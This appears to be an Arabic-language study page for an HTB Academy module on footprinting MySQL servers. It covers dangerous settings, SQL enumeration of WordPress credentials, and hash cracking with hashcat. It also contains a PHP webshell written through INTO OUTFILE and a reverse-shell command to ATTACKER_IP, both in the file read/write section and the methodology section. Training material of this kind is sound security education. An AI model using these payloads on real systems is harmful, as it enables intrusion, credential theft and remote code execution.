◄ BACK TO PROTOCOLS
HTB Academy · Module 112 · Section 13/21
Footprinting Port 3306 File Read/Write LAMP Stack
MySQL — RELATIONAL DATABASE
DATABASE ANALYSIS · SQL COMMANDS · FILE OPERATIONS · CREDENTIAL THEFT
Port
TCP 3306
Stack
LAMP / LEMP
Config File
mysqld.cnf
File Read
LOAD_FILE()
File Write
INTO OUTFILE
Metadata DB
information_schema
نظرة عامة
ما هو MySQL؟

قاعدة بيانات علائقية مفتوحة المصدر تديرها Oracle. تخزن البيانات في جداول مترابطة. تخدم آلاف المستخدمين بنفس الوقت بسرعة عالية. أساس معظم المواقع الديناميكية.

🏗️ LAMP Stack
L = Linux — نظام التشغيل
A = Apache — Web Server
M = MySQL — Database
P = PHP — Programming Language
LEMP = نفس الشيء بس Nginx بدل Apache
🔄 كيف يشتغل مع WordPress
المستخدم يفتح الموقع
Apache يستقبل الطلب
PHP يسأل MySQL عن البيانات
MySQL يرجع البيانات ✅
💰 ما تحتويه قاعدة البيانات
🎯 بيانات حساسة
passwords (hashed أو plain text!)
emails + usernames
credit card numbers
API keys + tokens
session tokens
📋 بيانات الموقع
مقالات + تعليقات
إعدادات الموقع
صلاحيات المستخدمين
templates + themes
plugins settings
💀 passwords ممكن تكون plain text! المطورون الكسلانون ما يشفرونها.
🔗 MariaDB

MariaDB = fork من MySQL. المطور الأصلي لـ MySQL خرج من الشركة بعد استحواذ Oracle وطور MariaDB. كلاهما متوافق تقريباً — نفس الأوامر تشتغل على الاثنين.

💡 لو شفت MariaDB في الـ scan — نفس أوامر MySQL تشتغل 🎯
الإعدادات
ملف الإعداد الافتراضي
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d' [mysqld] user = mysql port = 3306 basedir = /usr datadir = /var/lib/mysql socket = /var/run/mysqld/mysqld.sock pid-file = /var/run/mysqld/mysqld.pid skip-host-cache skip-name-resolve
💡 datadir = /var/lib/mysql — هنا تُخزن قواعد البيانات على الـ disk
Dangerous Settings
⚠️ الإعدادات الخطيرة
الإعدادالخطر
user = rootMySQL يشتغل كـ root = صلاحيات كاملة على النظام!
password = P@ss (plain text)باسورد في الـ config بدون تشفير
admin_address = 0.0.0.0MySQL مكشوف من أي IP!
debug = ONأخطاء SQL تظهر للمستخدم = كشف بنية البيانات
sql_warnings = ONتحذيرات تكشف معلومات حساسة
secure_file_priv = ""قراءة/كتابة أي ملف على السيرفر! 💀
💀 debug = ON — كيف يستغله المهاجم
بدون debug:
المستخدم يدخل SQL injection
→ "An error occurred. Please try again."
← المهاجم ما يعرف إيش صار ❌
مع debug = ON:
نفس الـ input
→ "ERROR 1064: near 'admin' OR '1'='1'
Query: SELECT * FROM users WHERE username=..."
← يكشف: اسم الجدول، الـ columns، كيف تكتب الـ query 🎯
💀 secure_file_priv = "" — قراءة وكتابة الملفات
هجوم 1 — قراءة ملفات النظام:
SELECT LOAD_FILE('/etc/passwd'); root:x:0:0:root:/root:/bin/bash mysql:x:111:114::/var/lib/mysql:/bin/false admin:x:1001:1001::/home/admin:/bin/bash ← usernames!
هجوم 2 — كتابة Webshell:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; # بعدها: http://TARGET/shell.php?cmd=whoami www-data http://TARGET/shell.php?cmd=bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 ← Reverse Shell! 💥
💀 debug + secure_file_priv = "" → SQL Injection + File Write = RCE كامل!
SQL Commands
🔌 الاتصال بـ MySQL
# اتصال عادي: mysql -u root -pP4SSw0rd -h 10.129.14.128 # بدون باسورد (تحقق): mysql -u root -h 10.129.14.128 ERROR 1045: Access denied (using password: NO) ← عنده باسورد Welcome to the MariaDB monitor. MySQL [(none)]>
⚠️ ما في مسافة بين -p والباسورد! -pP4SSw0rd صح، -p P4SSw0rd غلط
📋 الأوامر الأساسية
الأمرالوظيفة
show databases;عرض كل قواعد البيانات
use wordpress;اختيار قاعدة بيانات
show tables;عرض كل الجداول
show columns from wp_users;عرض أعمدة جدول معين
select * from wp_users;عرض كل البيانات
select user_login, user_pass from wp_users;عرض أعمدة محددة
select * from wp_users where user_login = "admin";بحث عن قيمة
select version();إصدار MySQL
🗄️ information_schema — كنز المعلومات

قاعدة بيانات خاصة تحتوي metadata عن كل قواعد البيانات الأخرى:

# شوف كل الجداول في WordPress: SELECT table_name FROM information_schema.tables WHERE table_schema = 'wordpress'; wp_users ← 🎯 الأهم wp_posts wp_options wp_usermeta # شوف كل databases: SELECT schema_name FROM information_schema.schemata; # صلاحيات المستخدمين: SELECT * FROM information_schema.user_privileges;
💡 information_schema = خريطة كاملة لكل قواعد البيانات على السيرفر!
💥 مثال كامل — سرقة WordPress credentials
mysql -u root -pP4SSw0rd -h 10.129.14.128 show databases; | wordpress | ← هدفنا use wordpress; show tables; | wp_users | ← 🎯 show columns from wp_users; | ID | | user_login | ← username | user_pass | ← password hash | user_email | select user_login, user_pass from wp_users; | admin | $P$B7eFMNDNmjEHMUGpMnRbKSdI2JuMl0. | | john | $P$BZlxAMnC6ON.PYTjb2bFMprMu/CLGT1 | # كسر الـ hash: hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt $P$B7eFMN...:P@ssw0rd123 ← كُسر! 🎯
الأدوات
اختر الأداة:
🔍Nmap
🗄️mysql client
🔓hashcat
🔍 Nmap على MySQL
sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql* PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL 8.0.27 | mysql-empty-password: |_ root account has empty password ← ممكن false positive! | mysql-enum: | Valid usernames: | root, admin, web, user, test | mysql-info: | Version: 8.0.27-0ubuntu0.20.04.1 | Auth Plugin: caching_sha2_password
⚠️ دايماً تحقق يدوياً! Nmap ممكن يعطي false positives على MySQL
التحقق اليدوي:
mysql -u root -h 10.129.14.128 ERROR 1045: Access denied ← false positive! عنده باسورد فعلاً mysql -u root -pP4SSw0rd -h 10.129.14.128 Welcome to MySQL! ← صح ✅
🗄️ mysql client — الاتصال المباشر
# الاتصال: mysql -u <user> -p<password> -h <IP> # أمثلة: mysql -u root -h 10.129.14.128 # بدون باسورد mysql -u root -pP4SSw0rd -h 10.129.14.128 # مع باسورد mysql -u admin -p -h 10.129.14.128 # يسأل عن الباسورد تفاعلياً
💡 -p بدون مسافة قبل الباسورد — هاد مهم!
🔓 hashcat — كسر الـ Hashes
# WordPress MD5 hash (mode 400): hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt # MySQL hash (mode 300): hashcat -m 300 hash.txt /usr/share/wordlists/rockyou.txt # SHA-256 (mode 1400): hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
💡 تعرف نوع الـ hash:
$P$B... = WordPress MD5 → mode 400
*4ACFE3202A5FF5CF467898FC58AAB1D615029441 = MySQL → mode 300
$2y$... = bcrypt → mode 3200
Methodology
⛓️ خطوات الـ MySQL Footprinting
1
Nmap Scan
اكتشاف MySQL + إصدار + usernames محتملة
sudo nmap -sV -sC -p3306 --script mysql* TARGET
⚠️ تحقق يدوياً من نتائج Nmap — false positives شائعة!
2
محاولة الاتصال
جرب credentials شائعة أو اللي حصلت عليها
mysql -u root -h TARGET # بدون باسورد mysql -u root -proot -h TARGET # root:root mysql -u root -p -h TARGET # تفاعلي
3
Enumerate Databases
شوف كل قواعد البيانات وحدد الهدف
show databases; use wordpress; ← أو أي database مهم show tables;
4
سرقة Credentials
استخرج usernames وpasswords
show columns from wp_users; select user_login, user_pass from wp_users;
🎯 ابحث عن: wp_users, users, accounts, admins
5
تحقق من File Operations
لو secure_file_priv = "" → اقرأ /etc/passwd أو اكتب webshell
SELECT LOAD_FILE('/etc/passwd'); SELECT "" INTO OUTFILE '/var/www/html/shell.php';
⛓️ Attack Chain
🔍
Nmap
Port 3306
🔌
Connect
mysql client
🗄️
Enumerate
databases/tables
🔑
Steal Hashes
wp_users
💥
RCE
webshell
Explained — Q&A
🌐 الأساسيات
إيش الفرق بين MySQL وExcel؟
Excel = ملف واحد على جهازك، شخص واحد، بطيء. MySQL = سيرفر يخدم آلاف المستخدمين بنفس الوقت، ملايين السجلات بسرعة، SQL queries قوية، علاقات بين الجداول.
ليش information_schema مهم في الـ pentest؟
لأنه يحتوي metadata عن كل قواعد البيانات — أسماء كل الجداول والأعمدة وصلاحيات المستخدمين. بدل ما تخمن، تسأل information_schema "وين الـ users table؟" وهو يخبرك مباشرة.
⚠️ Dangerous Settings
ليش secure_file_priv = "" أخطر إعداد؟
لأنه يجمع بين قراءة الملفات (LOAD_FILE → /etc/passwd) وكتابتها (INTO OUTFILE → webshell). لو عندك SQL Injection + secure_file_priv فارغ = تكتب webshell مباشرة على الـ web server = RCE كامل!
ليش Nmap ممكن يعطي false positive على MySQL؟
بعض الـ NSE scripts تختبر بطريقة غير دقيقة. مثلاً mysql-empty-password ممكن يقول "root بدون باسورد" بس لما تتصل يدوياً يرجع Access denied. دايماً تحقق يدوياً قبل ما تبني خطتك على نتائج Nmap.